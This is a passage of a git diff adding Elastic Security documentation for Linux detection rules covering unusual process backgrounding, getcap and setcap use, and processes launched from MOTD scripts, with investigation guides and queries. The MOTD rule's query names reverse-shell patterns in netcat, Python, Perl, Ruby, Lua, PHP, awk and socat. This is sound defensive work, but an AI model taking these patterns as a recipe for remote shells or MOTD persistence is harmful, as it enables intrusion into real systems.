https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-backgrounded-by-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-backgrounded-by-unusual-parent.asciidoc new file mode 100644 index 0000000000..bec832c766 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-backgrounded-by-unusual-parent.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-process-backgrounded-by-unusual-parent]] +=== Process Backgrounded by Unusual Parent + +This rule identifies processes that are backgrounded by an unusual parent process. This behavior may indicate a process attempting to evade detection by hiding its parent process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Backgrounded by Unusual Parent* + + +In Linux environments, shell processes like bash or zsh can be backgrounded using the '&' operator, allowing them to run independently of the terminal. Adversaries exploit this by launching scripts with unusual parent processes to evade detection. The detection rule identifies such anomalies by monitoring process start events with specific shell invocations and backgrounding indicators, flagging potential evasion attempts. + + +*Possible investigation steps* + + +- Review the process start event details to identify the parent process and assess its legitimacy. Pay attention to the process.name and process.args fields to understand the context of the command executed. +- Examine the command line arguments (process.args) for any suspicious patterns or commands that could indicate malicious activity, especially focusing on the use of the '&' operator which backgrounds the process. +- Check the user account associated with the process to determine if it is a known and trusted user. Investigate any anomalies in user behavior or unexpected user accounts. +- Correlate the event with other logs or alerts from the same host to identify any related suspicious activities or patterns, such as other unusual process executions or network connections. +- Investigate the parent process's history and behavior to determine if it has been involved in other suspicious activities or if it has been compromised. +- Consult threat intelligence sources or databases to see if the command or behavior matches known attack patterns or indicators of compromise (IOCs). + + +*False positive analysis* + + +- Routine administrative scripts may trigger this rule if they are executed with backgrounding by system administrators. To manage this, identify and whitelist known administrative scripts that are frequently used in your environment. +- Automated maintenance tasks or cron jobs that use shell scripts with backgrounding can also be flagged. Review and exclude these tasks by adding exceptions for specific scripts or processes that are verified as non-threatening. +- Development environments where developers frequently test scripts in the background might cause false positives. Consider creating exceptions for specific user accounts or directories where development activities are known to occur. +- Monitoring tools or agents that use shell scripts to perform checks or gather data in the background could be mistakenly identified. Verify these tools and exclude their processes from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate the suspicious backgrounded process and its parent process to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's process tree to identify any additional suspicious or unauthorized processes that may have been spawned. +- Analyze the command history and script files associated with the unusual parent process to understand the scope and intent of the activity. +- Restore the system from a known good backup if any malicious modifications or persistence mechanisms are identified. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(ProcessRollup2 or exec or exec_event or start) and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:(-c and *&) and +not process.parent.name:(sshd or make or su or ds_agent or fortitraylauncher or zeek or asterisk or vncserver or cron or crond) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-capability-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-capability-enumeration.asciidoc new file mode 100644 index 0000000000..de57ac0a9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-capability-enumeration.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-process-capability-enumeration]] +=== Process Capability Enumeration + +Identifies recursive process capability enumeration of the entire filesystem through the getcap command. Malicious users may manipulate identified capabilities to gain root privileges. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Capability Enumeration* + + +In Linux environments, the `getcap` command is used to list file capabilities, which define specific privileges for executables. Adversaries may exploit this by recursively scanning the filesystem to identify and manipulate capabilities, potentially escalating privileges. The detection rule identifies suspicious use of `getcap` by monitoring for its execution with specific arguments, especially by non-root users, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm the execution of the `getcap` command with the arguments `-r` and `/`, ensuring the process was initiated by a non-root user (user.id != "0"). +- Identify the user account associated with the process execution to determine if the user has a legitimate reason to perform such actions. +- Examine the process execution history for the identified user to check for any other suspicious activities or commands executed around the same time. +- Investigate the system logs for any signs of privilege escalation attempts or unauthorized access following the execution of the `getcap` command. +- Check for any recent changes to file capabilities on the system that could indicate manipulation by the adversary. +- Assess the system for any other indicators of compromise or related alerts that might suggest a broader attack campaign. + + +*False positive analysis* + + +- System administrators or automated scripts may use the getcap command for legitimate auditing purposes. To handle this, create exceptions for known administrative accounts or scripts that regularly perform capability checks. +- Security tools or monitoring solutions might trigger the rule during routine scans. Identify these tools and exclude their processes from triggering alerts by adding them to an allowlist. +- Developers or testing environments may execute getcap as part of software testing or development processes. Exclude specific user IDs or groups associated with these environments to prevent unnecessary alerts. +- Scheduled maintenance tasks might involve capability enumeration. Document and exclude these tasks by specifying the time frames or user accounts involved in the maintenance activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any unauthorized or suspicious processes associated with the `getcap` command to halt potential privilege escalation activities. +- Conduct a thorough review of the system's file capabilities using a trusted method to identify any unauthorized changes or suspicious capabilities that may have been set. +- Revert any unauthorized capability changes to their original state to ensure that no elevated privileges are retained by malicious users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement monitoring for similar `getcap` command executions across the environment to detect and respond to future attempts promptly. +- Review and update access controls and user permissions to ensure that only authorized users have the necessary privileges to execute potentially sensitive commands like `getcap`. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "ProcessRollup2") and + process.name == "getcap" and process.args == "-r" and process.args == "/" and + process.args_count == 3 and user.id != "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-capability-set-via-setcap-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-capability-set-via-setcap-utility.asciidoc new file mode 100644 index 0000000000..8324962416 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-capability-set-via-setcap-utility.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-process-capability-set-via-setcap-utility]] +=== Process Capability Set via setcap Utility + +This rule detects the use of the setcap utility to set capabilities on a process. The setcap utility is used to set the capabilities of a binary to allow it to perform privileged operations without needing to run as root. This can be used by attackers to establish persistence by creating a backdoor, or escalate privileges by abusing a misconfiguration on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Capability Set via setcap Utility* + + +The `setcap` utility in Linux assigns specific capabilities to executables, allowing them to perform privileged tasks without full root access. While beneficial for security, adversaries can exploit this to maintain persistence or escalate privileges by misconfiguring capabilities. The detection rule identifies suspicious `setcap` usage by monitoring process execution patterns, excluding benign parent processes, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the setcap utility, focusing on the process name and event action fields to ensure the alert is not a false positive. +- Investigate the parent process executable and name to determine if the setcap command was executed by a potentially malicious or unexpected process, especially if it is not among the excluded benign parent processes. +- Check the capabilities that were set by the setcap command to assess if they could allow privilege escalation or persistence, and determine if they align with normal operational requirements. +- Examine the timeline of events around the setcap execution to identify any preceding or subsequent suspicious activities that might indicate a broader attack or compromise. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that could suggest a coordinated attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when package managers like dpkg or Docker set capabilities during their processes. To handle this, exclude paths such as /var/lib/dpkg/* and /var/lib/docker/* from the detection rule. +- Development environments or containerized applications might use setcap for testing purposes. Exclude processes originating from /tmp/newroot/* and /var/tmp/newroot/* to reduce noise from these environments. +- Custom scripts or administrative tools that use setcap for legitimate configuration tasks can be excluded by identifying their parent process names and adding them to the exclusion list, similar to the existing exclusions for jem and vzctl. +- Regular audits of the exclusion list should be conducted to ensure that no malicious processes are inadvertently whitelisted, maintaining a balance between reducing false positives and ensuring security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes associated with the `setcap` utility that are not part of legitimate administrative tasks. +- Review and remove any unnecessary capabilities set on executables using the `setcap` utility to prevent privilege escalation. +- Conduct a thorough audit of the system to identify any backdoors or unauthorized changes made by the attacker, and remove them. +- Restore affected systems from a known good backup if unauthorized changes or persistent threats are detected. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for `setcap` usage and similar privilege escalation attempts to improve future detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name == "setcap" and not ( + process.parent.executable == null or + process.parent.executable like ( + "/var/lib/dpkg/*", "/var/lib/docker/*", "/tmp/newroot/*", "/var/tmp/newroot/*", "/usr/bin/cmake", + "/opt/zscaler/bin/zpa-connector" + ) or + process.parent.name in ("jem", "vzctl") or + process.parent.args like "/var/lib/dpkg/info/*" or + ?process.working_directory in ("/opt/dynatrace/oneagent", "/opt/sophos-spl/plugins/av/sbin") or + process.parent.command_line in ("/bin/bash /entrypoint.sh telegraf", "/bin/sh /usr/local/bin/docker-entrypoint.sh server") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-spawned-from-message-of-the-day-motd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-spawned-from-message-of-the-day-motd.asciidoc new file mode 100644 index 0000000000..d2213b644c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-spawned-from-message-of-the-day-motd.asciidoc @@ -0,0 +1,253 @@ +[[prebuilt-rule-8-19-20-process-spawned-from-message-of-the-day-motd]] +=== Process Spawned from Message-of-the-Day (MOTD) + +Message of the day (MOTD) is the message that is presented to the user when a user connects to a Linux server via SSH or a serial connection. Linux systems contain several default MOTD files located in the "/etc/update-motd.d/" directory. These scripts run as the root user every time a user connects over SSH or a serial connection. Adversaries may create malicious MOTD files that grant them persistence onto the target every time a user connects to the system by executing a backdoor script or command. This rule detects the execution of potentially malicious processes through the MOTD utility. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#10-boot-or-logon-initialization-scripts-motd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Spawned from Message-of-the-Day (MOTD)* + + +The message-of-the-day (MOTD) is used to display a customizable system-wide message or information to users upon login in Linux. + +Attackers can abuse message-of-the-day (motd) files to run scripts, commands or malicious software every time a user connects to a system over SSH or a serial connection, by creating a new file within the `/etc/update-motd.d/` directory. Files in these directories will automatically run with root privileges when they are made executable. + +This rule identifies the execution of potentially malicious processes from a MOTD script, which is not likely to occur as default benign behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified from which the suspicious process was executed. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate whether any other files in the `/etc/update-motd.d/` directory have been altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path LIKE '/etc/update-motd.d/%'"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path LIKE '/etc/update-motd.d/%'\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services, and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*Related Rules* + + +- Message-of-the-Day (MOTD) File Creation - 96d11d31-9a79-480f-8401-da28b194608f + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the MOTD files or restore them to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and host.os.type == "linux" and event.action in ("exec", "exec_event", "start") and +process.parent.executable like "/etc/update-motd.d/*" and +( + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + ( + process.args : ("-i", "-l") or + (process.parent.name == "socat" and process.parent.args : "*exec*") + ) + ) or + ( + process.name : ("nc", "ncat", "netcat", "nc.openbsd") and process.args_count >= 3 and + not process.args : ("-*z*", "-*l*") + ) or + ( + process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + ) + ) or + ( + process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + ) + ) or + ( + process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + ) + ) or + ( + process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + ) + ) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("openssl", "telnet")) or + ( + process.args : ( + "./*", "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/etc/update-motd.d/*", "/run/*", "/srv/*", + "/tmp/*", "/var/tmp/*", "/var/log/*", "/opt/*" + ) and process.args_count == 1 + ) +) and +not ( + process.parent.args == "--force" or + process.args in ("/usr/games/lolcat", "/usr/bin/screenfetch") or + process.parent.name == "system-crash-notification" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: 